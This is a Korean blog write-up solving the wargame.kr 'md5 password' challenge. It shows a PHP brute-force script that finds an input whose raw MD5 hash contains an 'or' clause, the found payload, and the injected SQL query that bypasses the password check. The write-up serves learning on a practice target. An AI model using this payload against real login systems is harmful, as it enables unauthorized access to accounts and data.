[wargame.kr] md5 password
wargame.kr에 있는 500p짜리 `md5 password`라는 문제이다.
webhacking.kr에 있는 문제만 풀어와서 500점짜리라 겁먹고 시작했었는데 이전에 CTF에서 한 번 풀어본 경험이 있는 유형의 문제여서 쉽게 풀 수 있었다.
문제에 공개된 소스코드 중에서 SQL쿼리를 사용하는 부분을 보면 md5() 함수를 사용하여 password와 비교하는 부분을 볼 수 있다.
일반적인 md5() 함수라면 unexploitable이라고 볼 수 있겠지만 2번째 인자로 true를 넘겨주어 raw md5 연산을 하기 때문에 취약하다.
일반적인 MD5 hash와는 달리 Raw MD5 hash의 경우에는 chr(0) ~ chr(0xff) 까지의 리턴값을 갖는다. 따라서 리턴값에 싱글쿼터(0x27)나 더블쿼터(0x22)처럼 SQL Query에 영향을 줄 수 있는 문자들도 포함될 수 있기 때문에, 적절한 필터링을 거치지 않은 경우라면 SQL Injection에 취약해진다.
그래서 raw md5 hash 에서 preg_match 로 `~~'||'[1-9]~~` 나 `~~'or '[1-9]~~`를 찾는 스크립트를 만들어서 가용한 payload를 찾고자 하였다.
#!/usr/bin/env php
<?php
$i = 0;
while (True) {
$hash = md5($i, true);
if (preg_match("/\'\|\|\'[1-9]/i", $hash) || preg_match("/\'or\'[1-9]/i", $hash)) {
echo "{$i} : {$hash}";
break;
}
if ($i % 10000000 == 0) {
echo "[+] Testing {$i}...\n";
}
$i++;
}
실행결과는 다음과 같다.
[+] Testing 2380000000...
[+] Testing 2390000000...
[+] Testing 2400000000...
[+] Testing 2410000000...
2413633098 : ̄&߅'or'5왋L%
Payload를 찾기까지 시간이 꽤 오래걸려서 기다리는 동안 FIFA Mobile에서 게임 세 판 정도 하니까 결과가 나와있었다.ㅋㅋ
위의 페이로드는 raw md5 hashing 과정을 거쳐 Query에 적용되면 아래와 같다.
select * from admin_password where password=' ̄&߅'or'5왋L%';
MySQL에서는 char와 int 간의 Type Casting이 활발하기 때문에 '5왋L%'은 최종적인 OR 연산에서는 5로 치환된다. 따라서 궁극적으로 계산되는 OR 연산은 `0 or 5`와 같기 때문에 admin_password 테이블에 존재하는 모든 row를 반환하게 된다.
[*] special thanks to http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
'Hacking > Web.' 카테고리의 다른 글
SQL Injection bypassing (0) | 2016.11.12 |
---|---|
MySQL에서의 SQL Injection시 유용한 주석 리스트 (0) | 2016.11.07 |
[LoS] Orc 풀이 (1) | 2016.10.30 |
[SQL injection][PHP] magic_qutoes_gpc 우회 (0) | 2016.09.10 |
[취약점][PHP] $_SERVER['PHP_SELF'] 취약점 (4) | 2016.09.03 |